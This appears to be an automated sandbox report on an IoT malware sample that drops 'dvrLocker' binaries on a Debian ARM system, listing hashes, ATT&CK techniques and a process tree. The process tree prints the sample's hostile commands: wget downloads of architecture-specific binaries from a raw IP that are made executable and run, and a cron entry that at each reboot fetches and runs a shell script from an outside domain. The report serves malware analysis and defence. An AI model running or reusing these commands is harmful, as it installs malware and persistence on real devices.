de413fe89381ab759a056fd646a5afb82ba80bc6a0df6604db390bbaa847b2b7

Analysis

max time kernel
149s
max time network
140s
platform
debian-9_armhf
resource
debian9-armhf-20240729-en
resource tags

arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
08/11/2024, 04:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
de413fe89381ab759a056fd646a5afb82ba80bc6a0df6604db390bbaa847b2b7.unknown
Size 911B
Sample241108-ekl42strat
SHA256 de413fe89381ab759a056fd646a5afb82ba80bc6a0df6604db390bbaa847b2b7
MD5 1380eba4d1ffd71daf49885d1dbab4ff
SHA1 b9ae1ff734b67cf4a8483b5eccd658167e09b4f4
SHA512 da139c4dc62983f8c143b069e32dfb0f4d5b17fb57c72944c8fca30a3fb72cbda76322d853a5fa49bde5e1c822b351e8a360bfb4dd525c42dd227324462f9c83
MD5 SHA1 SHA512

Score

7^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 8 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
822	chmod
826	chmod
830	chmod
794	chmod
802	chmod
807	chmod
809	sh
818	chmod

Executes dropped EXE 7 IoCs

ioc	pid	Process
/tmp/lib/dvrLocker	796	dvrLocker
/tmp/lib/dvrLocker	803	dvrLocker
/tmp/lib/dvrLocker	808	dvrLocker
/tmp/lib/dvrLocker	819	dvrLocker
/tmp/lib/dvrLocker	823	dvrLocker
/tmp/lib/dvrLocker	827	dvrLocker
/tmp/lib/dvrLocker	831	dvrLocker

Renames itself 1 IoCs

pid	Process
808	dvrLocker

Unexpected DNS network traffic destination 2 IoCs

Network traffic to other servers than the configured DNS servers was detected on the DNS port.

description	ioc
Destination IP	202.61.197.122
Destination IP	137.220.52.23

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.Whbuf4	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Changes its process name 1 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	mini_httpd	808	dvrLocker

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/652/cmdline	dvrLocker
File opened for reading	/proc/861/status	dvrLocker
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/817/status	dvrLocker
File opened for reading	/proc/845/status	dvrLocker
File opened for reading	/proc/870/status	dvrLocker
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/836/status	dvrLocker
File opened for reading	/proc/844/status	dvrLocker
File opened for reading	/proc/850/status	dvrLocker
File opened for reading	/proc/854/status	dvrLocker
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/828/status	dvrLocker
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/830/status	dvrLocker
File opened for reading	/proc/852/status	dvrLocker
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/853/status	dvrLocker
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/863/status	dvrLocker
File opened for reading	/proc/879/status	dvrLocker
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/847/status	dvrLocker
File opened for reading	/proc/864/status	dvrLocker
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/mounts	dvrLocker
File opened for reading	/proc/818/status	dvrLocker
File opened for reading	/proc/867/status	dvrLocker
File opened for reading	/proc/875/status	dvrLocker
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/839/status	dvrLocker
File opened for reading	/proc/859/status	dvrLocker
File opened for reading	/proc/821/status	dvrLocker
File opened for reading	/proc/832/status	dvrLocker
File opened for reading	/proc/872/status	dvrLocker
File opened for reading	/proc/878/status	dvrLocker
File opened for reading	/proc/786/cmdline	dvrLocker
File opened for reading	/proc/868/status	dvrLocker
File opened for reading	/proc/877/status	dvrLocker
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	crontab
File opened for reading	/proc/840/status	dvrLocker
File opened for reading	/proc/842/status	dvrLocker
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/837/status	dvrLocker

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
799	wget
805	rm

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/lib/dvrLocker	de413fe89381ab759a056fd646a5afb82ba80bc6a0df6604db390bbaa847b2b7.unknown

/tmp/de413fe89381ab759a056fd646a5afb82ba80bc6a0df6604db390bbaa847b2b7.unknown
/tmp/de413fe89381ab759a056fd646a5afb82ba80bc6a0df6604db390bbaa847b2b7.unknown
1⤵
- Writes file to tmp directory
PID:652
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  PID:655
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  PID:658
- /bin/ls
  ls -l /proc/104/exe
  2⤵
  - Reads runtime system information
  PID:665
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  PID:670
- /bin/ls
  ls -l /proc/112/exe
  2⤵
  - Reads runtime system information
  PID:675
- /bin/ls
  ls -l /proc/114/exe
  2⤵
  PID:678
- /bin/ls
  ls -l /proc/115/exe
  2⤵
  PID:679
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  PID:682
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  PID:683
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  PID:686
- /bin/ls
  ls -l /proc/144/exe
  2⤵
  - Reads runtime system information
  PID:687
- /bin/ls
  ls -l /proc/148/exe
  2⤵
  PID:688
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  PID:690
- /bin/ls
  ls -l /proc/152/exe
  2⤵
  PID:693
- /bin/ls
  ls -l /proc/154/exe
  2⤵
  - Reads runtime system information
  PID:694
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  - Reads runtime system information
  PID:696
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  PID:697
- /bin/ls
  ls -l /proc/174/exe
  2⤵
  PID:699
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  - Reads runtime system information
  PID:700
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  - Reads runtime system information
  PID:701
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  - Reads runtime system information
  PID:702
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  PID:703
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  PID:704
- /bin/ls
  ls -l /proc/219/exe
  2⤵
  - Reads runtime system information
  PID:705
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  PID:706
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  - Reads runtime system information
  PID:707
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  PID:708
- /bin/ls
  ls -l /proc/25/exe
  2⤵
  PID:709
- /bin/ls
  ls -l /proc/26/exe
  2⤵
  PID:710
- /bin/ls
  ls -l /proc/27/exe
  2⤵
  - Reads runtime system information
  PID:711
- /bin/ls
  ls -l /proc/271/exe
  2⤵
  PID:712
- /bin/ls
  ls -l /proc/28/exe
  2⤵
  - Reads runtime system information
  PID:713
- /bin/ls
  ls -l /proc/283/exe
  2⤵
  PID:716
- /bin/ls
  ls -l /proc/285/exe
  2⤵
  - Reads runtime system information
  PID:718
- /bin/ls
  ls -l /proc/286/exe
  2⤵
  - Reads runtime system information
  PID:720
- /bin/ls
  ls -l /proc/287/exe
  2⤵
  - Reads runtime system information
  PID:721
- /bin/ls
  ls -l /proc/29/exe
  2⤵
  PID:723
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  PID:726
- /bin/ls
  ls -l /proc/303/exe
  2⤵
  PID:728
- /bin/ls
  ls -l /proc/304/exe
  2⤵
  - Reads runtime system information
  PID:729
- /bin/ls
  ls -l /proc/313/exe
  2⤵
  PID:732
- /bin/ls
  ls -l /proc/314/exe
  2⤵
  - Reads runtime system information
  PID:733
- /bin/ls
  ls -l /proc/337/exe
  2⤵
  PID:736
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  - Reads runtime system information
  PID:738
- /bin/ls
  ls -l /proc/41/exe
  2⤵
  PID:740
- /bin/ls
  ls -l /proc/42/exe
  2⤵
  - Reads runtime system information
  PID:741
- /bin/ls
  ls -l /proc/43/exe
  2⤵
  PID:744
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  PID:745
- /bin/ls
  ls -l /proc/586/exe
  2⤵
  PID:747
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  PID:749
- /bin/ls
  ls -l /proc/600/exe
  2⤵
  - Reads runtime system information
  PID:750
- /bin/ls
  ls -l /proc/602/exe
  2⤵
  - Reads runtime system information
  PID:752
- /bin/ls
  ls -l /proc/606/exe
  2⤵
  - Reads runtime system information
  PID:754
- /bin/ls
  ls -l /proc/607/exe
  2⤵
  PID:755
- /bin/ls
  ls -l /proc/638/exe
  2⤵
  PID:757
- /bin/ls
  ls -l /proc/644/exe
  2⤵
  PID:759
- /bin/ls
  ls -l /proc/645/exe
  2⤵
  - Reads runtime system information
  PID:760
- /bin/ls
  ls -l /proc/649/exe
  2⤵
  - Reads runtime system information
  PID:763
- /bin/ls
  ls -l /proc/650/exe
  2⤵
  - Reads runtime system information
  PID:764
- /bin/ls
  ls -l /proc/651/exe
  2⤵
  PID:767
- /bin/ls
  ls -l /proc/652/exe
  2⤵
  PID:768
- /bin/ls
  ls -l /proc/654/exe
  2⤵
  - Reads runtime system information
  PID:769
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  PID:771
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  - Reads runtime system information
  PID:773
- /bin/ls
  ls -l /proc/82/exe
  2⤵
  - Reads runtime system information
  PID:774
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  PID:778
- /bin/rm
  rm -rf /tmp/lib/
  2⤵
  PID:780
- /bin/rm
  rm -rf /tmp/lib/dvrLocker
  2⤵
  PID:781
- /bin/mkdir
  mkdir /tmp/lib/
  2⤵
  - Reads runtime system information
  PID:783
- /usr/bin/wget
  wget http://45.202.35.91/mpsl -O -
  2⤵
  PID:785
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:794
- /tmp/lib/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:796
- /bin/rm
  rm -rf mpsl
  2⤵
  PID:798
- /usr/bin/wget
  wget http://45.202.35.91/mips -O -
  2⤵
  - System Network Configuration Discovery
  PID:799
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:802
- /tmp/lib/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:803
- /bin/rm
  rm -rf mips
  2⤵
  - System Network Configuration Discovery
  PID:805
- /usr/bin/wget
  wget http://45.202.35.91/arm -O -
  2⤵
  PID:806
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:807
- /tmp/lib/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Changes its process name
  - Reads runtime system information
  PID:808
- - /bin/sh
    sh -c "(crontab -l ; echo \"@reboot cd /tmp; wget http://hailcocks.ru/wget.sh; curl --output wget.sh http://hailcocks.ru/wget.sh; chmod 777 wget.sh; ./wget.sh\") | crontab -"
    3⤵
    - File and Directory Permissions Modification
    PID:809
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      Reads runtime system information
      PID:811
  - - /usr/bin/crontab
      crontab -l
      4⤵
      Reads runtime system information
      PID:812
- /bin/rm
  rm -rf arm
  2⤵
  PID:816
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:818
- /tmp/lib/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:819
- /usr/bin/wget
  wget http://45.202.35.91/ppc -O -
  2⤵
  PID:821
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:822
- /tmp/lib/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:823
- /bin/rm
  rm -rf ppc
  2⤵
  PID:824
- /usr/bin/wget
  wget http://45.202.35.91/arm7 -O -
  2⤵
  PID:825
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:826
- /tmp/lib/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:827
- /bin/chmod
  chmod 777 dvrLocker
  2⤵
  - File and Directory Permissions Modification
  PID:830
- /tmp/lib/dvrLocker
  ./dvrLocker tplink.new
  2⤵
  - Executes dropped EXE
  PID:831
- /bin/rm
  rm -rf /mnt/dvrLocker
  2⤵
  PID:833

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

dvrLocker

Path /tmp/lib/dvrLocker
Size 100KB
SHA256 b1e8713db49c15b272baa11e5569ecb4f22fd6064f5aa59ed236d0af58f159a1
MD5 4ad582d49f505bfab7de84881998685b
SHA1 5f09f4baed114b594729ded91e2c4d263f0e2754
SHA512 6f35bfb8aca5fd02f6e690fe0628595531dba7463265b1a66ff801c7744690f3317f611ab07e45fdfc28a17a32a891de92b1d026de30bf327aa304395b0905f4
SSDEEP 1536:F5qh1zJkioSuNxDlUllHCWcTE8NgZFsbNwGEalou39P6pI:F5qh1i1SlTcTzNgrz06pI
MD5 SHA1 SHA512 SSDEEP

Submit Download

dvrLocker

Path /tmp/lib/dvrLocker
Size 99KB
SHA256 fbdbd0392519e49a09e647d8c83046fb15d6dcbb8246ee2f813d10018ba8ac3d
MD5 559f129d380ad1cfb60792c6b2dc3d32
SHA1 3997a0fc0bd5958783f1751364ec407c5b170adc
SHA512 9f5c39334121b5bde6a282f47b92a841130627f1554ff5089005c371af4c2be5ddc467ad594013fa2fb70a55172b6ba7a6caf50c0cba56564170e482955dc112
SSDEEP 1536:1LuJu12iTfjZWMQ1PYQoUfV2uV2RM2ev82krWtESNUngvReJAbdO2IAo:1ufmWxloUQ2kitt9+2IP
MD5 SHA1 SHA512 SSDEEP

Submit Download

dvrLocker

Path /tmp/lib/dvrLocker
Size 77KB
SHA256 36b5ad3793ba15e920ea49a43467610bfce85149afc12af166a56bb2011a9165
MD5 d09db60a70d5b53b5b53ad39476fd7e8
SHA1 73a75e5e8200f77d857a7256cc0979077e29241d
SHA512 ea6156cf3b4480fef088a1fefd8bd1845418606a412a8ab883734e2d297e6169de35456ecd2a5738967ef310066482069262171329624d28184a919cefb21c04
SSDEEP 1536:yfwmd4udfzPWgPfePqRRiN4254h+Vl6Ovg:yfwidfqYeyRRiylQg
MD5 SHA1 SHA512 SSDEEP

Submit Download

tmp.Whbuf4

Path /var/spool/cron/crontabs/tmp.Whbuf4
Size 306B
SHA256 e0c6f31c1c4cf956c992827ddcb8feba78d3744ce8f18757d072d1e47a469577
MD5 f20d1b6e19afd77fef99d9e38401282d
SHA1 de745201b87f4413fa64f6efdad173a6f473927e
SHA512 ae6d92167dbfe1b49531bd6954d5ca3dd080edb8374899505a2072be35e6d17192eca911f96493fa9935c27e10b55668902c6633cde0195de1adcf89ea1f44c3
MD5 SHA1 SHA512

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads